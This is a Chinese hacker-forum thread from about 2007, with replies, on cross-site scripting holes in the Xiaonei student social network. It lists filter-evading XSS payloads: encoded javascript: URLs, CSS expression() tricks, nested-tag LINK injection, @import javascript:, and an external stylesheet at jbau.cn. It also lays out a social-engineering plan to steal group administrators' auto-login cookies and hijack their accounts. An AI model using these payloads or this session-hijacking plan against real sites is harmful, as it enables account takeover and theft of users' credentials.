[原创]校内网跨站漏洞
文章作者:恶魔傻蛋信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
作为最大的大学生社区网站,校内网对于在校的学生一定耳熟能详吧~
一日,恶魔傻蛋心仪的女生问我,校内网的涂鸦板页面应该怎么美化呢?对网页制作几乎一窍不通恶魔傻蛋十分无奈了说了声不会,就不了了之(郁闷哇~~55).
事后突然想到校内网的涂鸦板不是可以写HTML的嘛,那弄个JS肯定没问题吧~立马跑去试试了是,结果,校内网很无情的把<script>换成XXXXX> javascript:换成了XXXXXXXXGOOD:(注:校内网将javascript后的":"替换成了"GOOD:"而且在将JAVASCRIPT:分解为每行一个字母后,":"仍然被换成了"good:"),至于java script等等经实验,通通失败~
呵呵,不甘失败的傻蛋在网上大肆寻找资料,功夫不负有心人,终于找到了一篇极为全面的XSS文章:[url]http://ha.ckers.org/xss.html[/url]
经过一个个的实验,最终发现两个可以利用的方式~
将代码转换为长型的UTF-8 UNICODE代码
转换前代码
[code]<IMG SRC=JAVASCRIPT:ALERT("HAHA")>[/code]
转换后代码
[attach]10672[/attach]
成功
[attach]10673[/attach]
转换为十进制代码
转换前
[code]<img STYLE="xss:expr/*XSS*/ession(alert(document.cookie))">[/code]
转换后
[code]<img STYLE="xss:expr/*XSS*/ession(alert(document.cookie))"> [/code]
成功~看贴图!
[attach]10673[/attach]
跨站漏洞发现后,无意间在校内网的一个黑客群中发现了一个用CSS执行JS的方法:校内网将<LINK>标签替换成空了,但是可以用<LI<LINK>NK>,过滤了一个<LINK>但是留下了一个LINK.呵呵~
[code]<li<link/>nk type="text/css" rel="stylesheet" href="1.css" />[/code]
看图片:
[attach]10674[/attach]
[attach]10675[/attach]
另外,校内网的群的公告板里也存在跨站漏洞,可以直接使用<LINK>标签(但是禁用了转换进制后的代码). 直接用这个就OK~
[code]<link type="text/css" rel="stylesheet" href="1.css" />[/code]
[attach]10676[/attach]
校内网跨站利用方法(社会工程学):将获取COOKIE的代码写到自己的涂鸦版中,然后去访问一个人气比较旺的群里面(人多的有数万人哦),访问他的管理员的校内空间留个言,作为礼貌只要你在校内给人留言,别人就会到你的空间回复.嘿嘿,上钩了吧,如果那个管理员不幸在登录的时候选择的自动登录,嘿嘿.~(点自动登录后,校内的帐号及密码都会保存在COOKIE中,密码使用MD5加密的).虽然不一定能搞到密码,但是有了COOKIE,登录玩玩还是没问题滴~~然后,到那个群里面自由发挥吧.哇嘎嘎~~
附上上面提到的网站的网页,带进制转换哦!~ <img STYLE="xss:expr/*XSS*/ession(alert(document.cookie))">
expression 会造成死循环!
这里有一种方法可以参考下. (,在茄子BLOG上看到的, 茄子别咒我啊~~ = =# 我知道你会看这帖的)
<XSS/**/STYLE=xss:expression(eval(unescape('if(window.x!="1"){alert("xss");window.x="1";}')))> 呵呵..我这里也有一种方法解决..忘记贴上来了.呵呵~
这样.~在EXPRESSION后面用这个.~
if(document.cookie.indexOf('jnc')==-1)/**/{document.cookie='jncjncjnc';alert(document.cookie)}
加一个在COOKIE中加点东西~呵呵.在判断下~就OK啦..
这个是在网上找的.还看不大懂~ [s:289] <script>
if(document.cookie.indexOf('jnc')==0) // 判断cookie中是否包含 jnc 字符!. 返回结果为真 执行下面.
{
document.cookie='jncjncjnc'; // 为cookie赋值, 让cookie内包含 jnc 字符.
alert(document.cookie); // 弹出cookie.
}
</script>
在 expression 会重复执行里面的表达式, 当执行第一次后, cookie 始终包含 jnc,
循环执行这条是 if(document.cookie.indexOf('jnc')==0) 会返回一个 flase. 之后就好懂了. 转换为十进制代码
转换前
Copy code
<img STYLE="xss:expr/*XSS*/ession(alert(document.cookie))">
转换后
Copy code
<img STYLE="xss:expr/*XSS*/ession(alert(document.cookie))">
重复了。 [quote]引用第4楼落叶树于2007-10-12 07:20发表的 :
转换为十进制代码
转换前
Copy code
<img STYLE="xss:expr/*XSS*/ession(alert(document.cookie))">
.......[/quote]
我贴的转换后的代码上去.被PW自动转成了正常的代码,,晕死我了.~呵呵
用下面附带的网页可以自己转换一下就可以了.呵呵~
不好意思哦~ 校内网很多触发执行没有禁止。 虽然我知道有这个xss,但是一直没怎么用,只是蹦个框框出来。我的和你们一样
<div style="xss:ex/**/pre/**/ssion(alert('xss')) ></div>还是死循环 双引号被转义,怎么解决?
var str=" 这里是输入的str";// 主要问题就是要闭合后面这个",
让他变成 var str="输入的字符"; alert("alert");
但是双引号,单引号都会被转义,变成 \" ,
var str="输入的字符\"; alert(\"alert\");";
怎么才能不让他转义呢? [quote]引用第2楼恶魔傻蛋于2007-10-11 22:10发表的 :
呵呵..我这里也有一种方法解决..忘记贴上来了.呵呵~
这样.~在EXPRESSION后面用这个.~
if(document.cookie.indexOf('jnc')==-1)/**/{document.cookie='jncjncjnc';alert(document.cookie)}
加一个在COOKIE中加点东西~呵呵.在判断下~就OK啦..
这个是在网上找的.还看不大懂~ [s:289][/quote]
以前在剑心的文章里见到过这种方法,Monyer和茄子宝也都找到了非常完美的方法。
所以,想学XSS,推荐大家去看下梦之光芒(Monyer)、剑心及茄子宝的博客,相信你一定有所收获。 还有import漏洞哦,我都利用了5个多月了,校内还没屏蔽... [quote]引用第10楼oldjun于2007-10-17 13:40发表的 :
还有import漏洞哦,我都利用了5个多月了,校内还没屏蔽...[/quote]
呵呵。傻蛋不才,请教IMPORT漏洞是什么东西哦?~呵呵
多谢~ 这样算不算跨站呢?????
<style>body {height:XXXXXXoid(
(function(){
window.URL = 'https://forum.eviloctal.com';
window.TM = 3;
setTimeout('ev'+'al("window.loca'+'tion.href=window.URL")',window.TM*1000);
})()
));overflow:auto;}</style> 长型UTF-8 UNICODE代码
如何转换的?不明白! 最近才知道这个网站,偶打算进去找下跨站,结果今天发现这里公布了。不错。。结合最近鬼仔那个工具,应该会比较好玩的。那篇E文真的很不错,对跨站了解又加深了很多.............. [quote]引用第11楼恶魔傻蛋于2007-10-17 16:48发表的 :
呵呵。傻蛋不才,请教IMPORT漏洞是什么东西哦?~呵呵
多谢~[/quote]
<STYLE>@import'javascript:alert("hello")';</STYLE> [link]'style=background:url([url]http://jbau.cn/xss.css[/url]);display:none[/link]
大家看看这段代码能执行吗.或者能实现跨站吗? 不能吧,应该.可以尝试expression
如果 backgroud:url(expression(alert("hehe"))) 这个是在网上找的.还看不大懂~
页:
[1]